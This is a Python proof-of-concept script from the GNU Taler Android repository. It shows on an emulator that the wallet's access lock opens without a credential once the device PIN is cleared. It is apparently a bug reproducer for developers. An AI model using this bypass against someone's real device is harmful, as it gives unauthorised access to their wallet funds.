taler-android

Android apps for GNU Taler (wallet, PoS, cashier)
Log | Files | Refs | README | LICENSE

repro_wallet_lock_bypass.py (3394B)


      1 # This file is part of GNU Taler
      2 # (C) 2026 Taler Systems S.A.
      3 #
      4 # GNU Taler is free software; you can redistribute it and/or modify it under the
      5 # terms of the GNU General Public License as published by the Free Software
      6 # Foundation; either version 3, or (at your option) any later version.
      7 #
      8 # GNU Taler is distributed in the hope that it will be useful, but WITHOUT ANY
      9 # WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS FOR
     10 # A PARTICULAR PURPOSE.  See the GNU General Public License for more details.
     11 #
     12 # You should have received a copy of the GNU General Public License along with
     13 # GNU Taler; see the file COPYING.  If not, see <http://www.gnu.org/licenses/>
     14 """Reproducer: the wallet lock opens with no credential.
     15 
     16 "Protect access to wallet" can only be switched on while the device can
     17 authenticate, but nothing re-checks afterwards: when the credential is gone,
     18 the prompt fails with ERROR_NO_DEVICE_CREDENTIAL and the app unlocks anyway,
     19 while still showing its lock screen.
     20 
     21 Touches the device's lock settings and clears them again afterwards.
     22 
     23     cd /opt/taler-sim/driver
     24     python3 ../findings/repro_wallet_lock_bypass.py [emulator-5554]
     25 """
     26 
     27 from __future__ import annotations
     28 
     29 import sys
     30 import time
     31 from pathlib import Path
     32 
     33 sys.path.insert(0, str(Path(__file__).resolve().parent.parent / "driver"))
     34 
     35 import scenarios  # noqa: E402
     36 from device import Device  # noqa: E402
     37 from stack import Env  # noqa: E402
     38 from wallet import Wallet  # noqa: E402
     39 
     40 PIN = "1234"
     41 
     42 
     43 def restart(dev: Device, app: Wallet) -> None:
     44     dev.stop()
     45     time.sleep(2)
     46     dev.launch()
     47     time.sleep(6)
     48 
     49 
     50 def locked(dev: Device) -> bool:
     51     """The overlay covers the app, but the nodes underneath are still dumped."""
     52     return dev.dump().find(r"(?i)Tap to unlock") is not None
     53 
     54 
     55 def main() -> int:
     56     serial = sys.argv[1] if len(sys.argv) > 1 else "emulator-5554"
     57     dev = Device(serial)
     58     app = Wallet(dev)
     59     env = Env.load()
     60     try:
     61         out = dev.shell(f"locksettings set-pin {PIN}", check=False)
     62         if "set" not in out.lower():
     63             print(f"could not set a device credential: {out.strip()[:120]}")
     64             return 2
     65         scenarios.fund_wallet(app, env, "EUR:10")
     66         app.open_settings()
     67         app.scroll_to_text(r"(?i)^Protect access to wallet$")
     68         dev.tap_text(r"(?i)^Protect access to wallet$", timeout=20)
     69         time.sleep(3)
     70 
     71         restart(dev, app)
     72         with_credential = locked(dev)
     73         print(f"locked with a credential: {with_credential}")
     74         if not with_credential:
     75             print("the switch did not take; nothing to test")
     76             return 2
     77 
     78         print(dev.shell(f"locksettings clear --old {PIN}", check=False).strip())
     79         restart(dev, app)
     80         before = locked(dev)
     81         print(f"locked after the credential was removed: {before}")
     82         dev.tap_text(r"(?i)Tap to unlock", timeout=20)
     83         time.sleep(5)
     84         after = locked(dev)
     85         texts = dev.dump().texts()
     86         print(f"still locked after tapping unlock: {after}")
     87         print(f"screen: {texts[:10]}")
     88         print(f"\nreproduced: {before and not after}")
     89         return 0 if (before and not after) else 1
     90     finally:
     91         dev.shell(f"locksettings clear --old {PIN}", check=False)
     92         dev.shell("locksettings set-disabled true", check=False)
     93 
     94 
     95 if __name__ == "__main__":
     96     raise SystemExit(main())